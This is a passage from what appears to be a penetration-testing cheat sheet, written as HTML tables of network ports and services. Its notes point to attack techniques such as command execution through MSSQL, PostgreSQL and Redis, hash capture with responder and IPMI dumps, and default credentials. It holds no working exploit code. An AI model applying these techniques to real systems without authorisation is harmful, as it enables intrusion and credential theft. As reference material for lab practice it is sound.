&lt;td&gt;Often anonymous module listing and file pull.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2049&lt;/td&gt;
&lt;td&gt;TCP/UDP&lt;/td&gt;
&lt;td&gt;NFS&lt;/td&gt;
&lt;td&gt;&lt;code&gt;showmount -e&lt;/code&gt;, mount exports, no_root_squash.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2121&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;FTP (alt)&lt;/td&gt;
&lt;td&gt;Secondary FTP instance.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id=&quot;remote-access-and-shells&quot;&gt;Remote access and shells&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Proto&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;22&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;SSH&lt;/td&gt;
&lt;td&gt;Auth methods, version bugs, port forwarding.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;23&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;Telnet&lt;/td&gt;
&lt;td&gt;Cleartext login, banner.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;512-514&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;r-services&lt;/td&gt;
&lt;td&gt;See file-sharing table. Trust abuse.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3389&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;RDP&lt;/td&gt;
&lt;td&gt;&lt;code&gt;xfreerdp&lt;/code&gt;, NLA check, BlueKeep on old hosts.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5800&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;VNC over HTTP&lt;/td&gt;
&lt;td&gt;Java VNC applet.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5900&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;VNC&lt;/td&gt;
&lt;td&gt;Weak or no password, &lt;code&gt;vncviewer&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5985&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;WinRM HTTP&lt;/td&gt;
&lt;td&gt;&lt;code&gt;evil-winrm&lt;/code&gt;, &lt;code&gt;crackmapexec winrm&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5986&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;WinRM HTTPS&lt;/td&gt;
&lt;td&gt;TLS variant of WinRM.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6000-6009&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;X11&lt;/td&gt;
&lt;td&gt;Keystroke capture, screenshots if open.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;47001&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;WinRM (WSMan listener)&lt;/td&gt;
&lt;td&gt;Windows remote management.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id=&quot;web-and-application-servers&quot;&gt;Web and application servers&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Proto&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;HTTP&lt;/td&gt;
&lt;td&gt;Primary web surface.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;443&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;HTTPS&lt;/td&gt;
&lt;td&gt;TLS web. Check certificate for hostnames.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;280&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;http-mgmt&lt;/td&gt;
&lt;td&gt;Management HTTP.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;591&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;FileMaker HTTP&lt;/td&gt;
&lt;td&gt;Alternate web.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;593&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;HTTP-RPC-EPMAP&lt;/td&gt;
&lt;td&gt;RPC over HTTP.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;832&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;NetWare HTTP&lt;/td&gt;
&lt;td&gt;Rare web admin.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;981&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;HTTPS (alt)&lt;/td&gt;
&lt;td&gt;Firewall admin panels.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1311&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;Dell OpenManage&lt;/td&gt;
&lt;td&gt;Web admin.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2082 / 2083&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;cPanel&lt;/td&gt;
&lt;td&gt;HTTP / HTTPS.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2086 / 2087&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;WHM&lt;/td&gt;
&lt;td&gt;HTTP / HTTPS.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2095 / 2096&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;Webmail&lt;/td&gt;
&lt;td&gt;HTTP / HTTPS.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3000&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;Node / Grafana / dev&lt;/td&gt;
&lt;td&gt;App dev servers.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3128&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;Squid proxy&lt;/td&gt;
&lt;td&gt;Proxy, may reach internal hosts.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4443&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;HTTPS (alt)&lt;/td&gt;
&lt;td&gt;Admin consoles.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4848&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;GlassFish admin&lt;/td&gt;
&lt;td&gt;Default creds, WAR deploy.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5000&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;Flask / UPnP / Docker registry&lt;/td&gt;
&lt;td&gt;Context-dependent.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7001&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;WebLogic&lt;/td&gt;
&lt;td&gt;Deserialization RCE.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7070&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;RealServer / app&lt;/td&gt;
&lt;td&gt;HTTP variants.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8000&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;HTTP (alt)&lt;/td&gt;
&lt;td&gt;Dev and admin apps.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8008&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;HTTP (alt)&lt;/td&gt;
&lt;td&gt;Embedded web.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8009&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;AJP13&lt;/td&gt;
&lt;td&gt;Tomcat AJP. Ghostcat file read.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8080&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;HTTP proxy / Tomcat&lt;/td&gt;
&lt;td&gt;Manager panel, WAR upload.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8081&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;HTTP (alt)&lt;/td&gt;
&lt;td&gt;JForum, Nexus, misc.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8180&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;Tomcat (alt)&lt;/td&gt;
&lt;td&gt;Manager panel.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8443&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;HTTPS (alt)&lt;/td&gt;
&lt;td&gt;Tomcat, VMware, admin.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8500&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;Consul / ColdFusion&lt;/td&gt;
&lt;td&gt;Config store or app server.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8888&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;HTTP (alt)&lt;/td&gt;
&lt;td&gt;Jupyter, admin panels.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9000&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;PHP-FPM / SonarQube&lt;/td&gt;
&lt;td&gt;FastCGI or app.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9090&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;Openfire / Prometheus&lt;/td&gt;
&lt;td&gt;Admin console.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9200 / 9300&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;Elasticsearch&lt;/td&gt;
&lt;td&gt;REST API and transport. Data exposure.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10000&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;Webmin&lt;/td&gt;
&lt;td&gt;RCE on old versions.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id=&quot;mail&quot;&gt;Mail&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Proto&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;25&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;SMTP&lt;/td&gt;
&lt;td&gt;User enumeration, open relay.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;110&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;POP3&lt;/td&gt;
&lt;td&gt;Cleartext mail retrieval.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;143&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;IMAP&lt;/td&gt;
&lt;td&gt;Cleartext mailbox access.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;465&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;SMTPS&lt;/td&gt;
&lt;td&gt;SMTP over TLS.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;587&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;SMTP submission&lt;/td&gt;
&lt;td&gt;Authenticated mail submission.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;993&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;IMAPS&lt;/td&gt;
&lt;td&gt;IMAP over TLS.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;995&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;POP3S&lt;/td&gt;
&lt;td&gt;POP3 over TLS.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id=&quot;name-directory-and-auth-services&quot;&gt;Name, directory, and auth services&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Proto&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;53&lt;/td&gt;
&lt;td&gt;TCP/UDP&lt;/td&gt;
&lt;td&gt;DNS&lt;/td&gt;
&lt;td&gt;Zone transfer (&lt;code&gt;axfr&lt;/code&gt;), reverse lookups.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;88&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;Kerberos&lt;/td&gt;
&lt;td&gt;AS-REP roast, TGT requests.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;389&lt;/td&gt;
&lt;td&gt;TCP/UDP&lt;/td&gt;
&lt;td&gt;LDAP&lt;/td&gt;
&lt;td&gt;Anonymous bind, AD objects.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;464&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;Kerberos kpasswd&lt;/td&gt;
&lt;td&gt;Password change service.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;636&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;LDAPS&lt;/td&gt;
&lt;td&gt;LDAP over TLS.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;749&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;Kerberos admin&lt;/td&gt;
&lt;td&gt;&lt;code&gt;kadmin&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3268&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;LDAP Global Catalog&lt;/td&gt;
&lt;td&gt;Forest-wide AD queries.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3269&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;LDAP GC over TLS&lt;/td&gt;
&lt;td&gt;TLS global catalog.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9389&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;AD Web Services&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ADWS&lt;/code&gt;, PowerShell AD module.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id=&quot;databases&quot;&gt;Databases&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Proto&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1433&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;MSSQL&lt;/td&gt;
&lt;td&gt;&lt;code&gt;xp_cmdshell&lt;/code&gt;, &lt;code&gt;mssqlclient.py&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1434&lt;/td&gt;
&lt;td&gt;UDP&lt;/td&gt;
&lt;td&gt;MSSQL Browser&lt;/td&gt;
&lt;td&gt;Instance discovery.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1521&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;Oracle TNS&lt;/td&gt;
&lt;td&gt;SID brute, &lt;code&gt;odat&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1830&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;Oracle (alt)&lt;/td&gt;
&lt;td&gt;Secondary listener.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3306&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;MySQL / MariaDB&lt;/td&gt;
&lt;td&gt;Weak creds, &lt;code&gt;INTO OUTFILE&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5432&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;PostgreSQL&lt;/td&gt;
&lt;td&gt;&lt;code&gt;COPY ... PROGRAM&lt;/code&gt; for RCE.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5984&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;CouchDB&lt;/td&gt;
&lt;td&gt;REST API, unauth data.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6379&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;Redis&lt;/td&gt;
&lt;td&gt;No auth by default, key write to RCE.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7474 / 7687&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;Neo4j&lt;/td&gt;
&lt;td&gt;HTTP browser and Bolt.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9042&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;Cassandra&lt;/td&gt;
&lt;td&gt;CQL native transport.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11211&lt;/td&gt;
&lt;td&gt;TCP/UDP&lt;/td&gt;
&lt;td&gt;Memcached&lt;/td&gt;
&lt;td&gt;Unauth data dump, amplification.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;27017 / 27018&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;MongoDB&lt;/td&gt;
&lt;td&gt;Unauth access on old configs.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id=&quot;snmp-and-network-management&quot;&gt;SNMP and network management&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Proto&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;161&lt;/td&gt;
&lt;td&gt;UDP&lt;/td&gt;
&lt;td&gt;SNMP&lt;/td&gt;
&lt;td&gt;&lt;code&gt;snmpwalk&lt;/code&gt; with &lt;code&gt;public&lt;/code&gt;. Leaks users, processes, ARP.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;162&lt;/td&gt;
&lt;td&gt;UDP&lt;/td&gt;
&lt;td&gt;SNMP trap&lt;/td&gt;
&lt;td&gt;Trap receiver.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;199&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;SMUX&lt;/td&gt;
&lt;td&gt;SNMP multiplexer.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;623&lt;/td&gt;
&lt;td&gt;UDP&lt;/td&gt;
&lt;td&gt;IPMI / BMC&lt;/td&gt;
&lt;td&gt;Hash dump (&lt;code&gt;ipmi-dumphashes&lt;/code&gt;).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2000&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;Cisco SCCP&lt;/td&gt;
&lt;td&gt;VoIP signalling.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4786&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;Cisco Smart Install&lt;/td&gt;
&lt;td&gt;Config theft, RCE.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5060 / 5061&lt;/td&gt;
&lt;td&gt;TCP/UDP&lt;/td&gt;
&lt;td&gt;SIP&lt;/td&gt;
&lt;td&gt;VoIP, user enumeration.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id=&quot;messaging-orchestration-and-misc&quot;&gt;Messaging, orchestration, and misc&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Proto&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;79&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;Finger&lt;/td&gt;
&lt;td&gt;User enumeration on old Unix.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;113&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;ident&lt;/td&gt;
&lt;td&gt;Returns service owner.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;123&lt;/td&gt;
&lt;td&gt;UDP&lt;/td&gt;
&lt;td&gt;NTP&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ntpq&lt;/code&gt;, monlist amplification.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;179&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;BGP&lt;/td&gt;
&lt;td&gt;Routing, rare on HTB-like boxes.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;UDP&lt;/td&gt;
&lt;td&gt;IKE / IPsec&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ike-scan&lt;/code&gt;, VPN fingerprint.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;502&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;Modbus&lt;/td&gt;
&lt;td&gt;ICS/SCADA.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;515&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;LPD&lt;/td&gt;
&lt;td&gt;Printing service.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;631&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;IPP / CUPS&lt;/td&gt;
&lt;td&gt;Printer admin.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1099&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;Java RMI&lt;/td&gt;
&lt;td&gt;Deserialization RCE.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1723&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;PPTP&lt;/td&gt;
&lt;td&gt;VPN, hash capture.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1883&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;MQTT&lt;/td&gt;
&lt;td&gt;IoT messaging, often unauth.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2181&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;ZooKeeper&lt;/td&gt;
&lt;td&gt;Config leak, &lt;code&gt;envi&lt;/code&gt; command.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2375 / 2376&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;Docker API&lt;/td&gt;
&lt;td&gt;Unauth 2375 = host RCE.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3632&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;distcc&lt;/td&gt;
&lt;td&gt;Command execution (CVE-2004-2687).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4369&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;EPMD (Erlang)&lt;/td&gt;
&lt;td&gt;Cookie auth, RabbitMQ pairing.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5222&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;XMPP&lt;/td&gt;
&lt;td&gt;Chat, user enumeration.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5353&lt;/td&gt;
&lt;td&gt;UDP&lt;/td&gt;
&lt;td&gt;mDNS&lt;/td&gt;
&lt;td&gt;Local service discovery.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5355&lt;/td&gt;
&lt;td&gt;UDP&lt;/td&gt;
&lt;td&gt;LLMNR&lt;/td&gt;
&lt;td&gt;Poison for hash capture (&lt;code&gt;responder&lt;/code&gt;).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5671 / 5672&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;AMQP / RabbitMQ&lt;/td&gt;
&lt;td&gt;Message broker, default creds.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6443&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;Kubernetes API&lt;/td&gt;
&lt;td&gt;Cluster control, token abuse.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8140&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;Puppet&lt;/td&gt;
&lt;td&gt;Config management.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8161&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;ActiveMQ&lt;/td&gt;
&lt;td&gt;Web console, CVE-2016-3088.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9092&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;Kafka&lt;/td&gt;
&lt;td&gt;Broker, topic access.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9100&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;JetDirect&lt;/td&gt;
&lt;td&gt;Raw printing, PJL abuse.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15672&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;RabbitMQ mgmt&lt;/td&gt;
&lt;td&gt;Web console, &lt;code&gt;guest:guest&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;44818&lt;/td&gt;
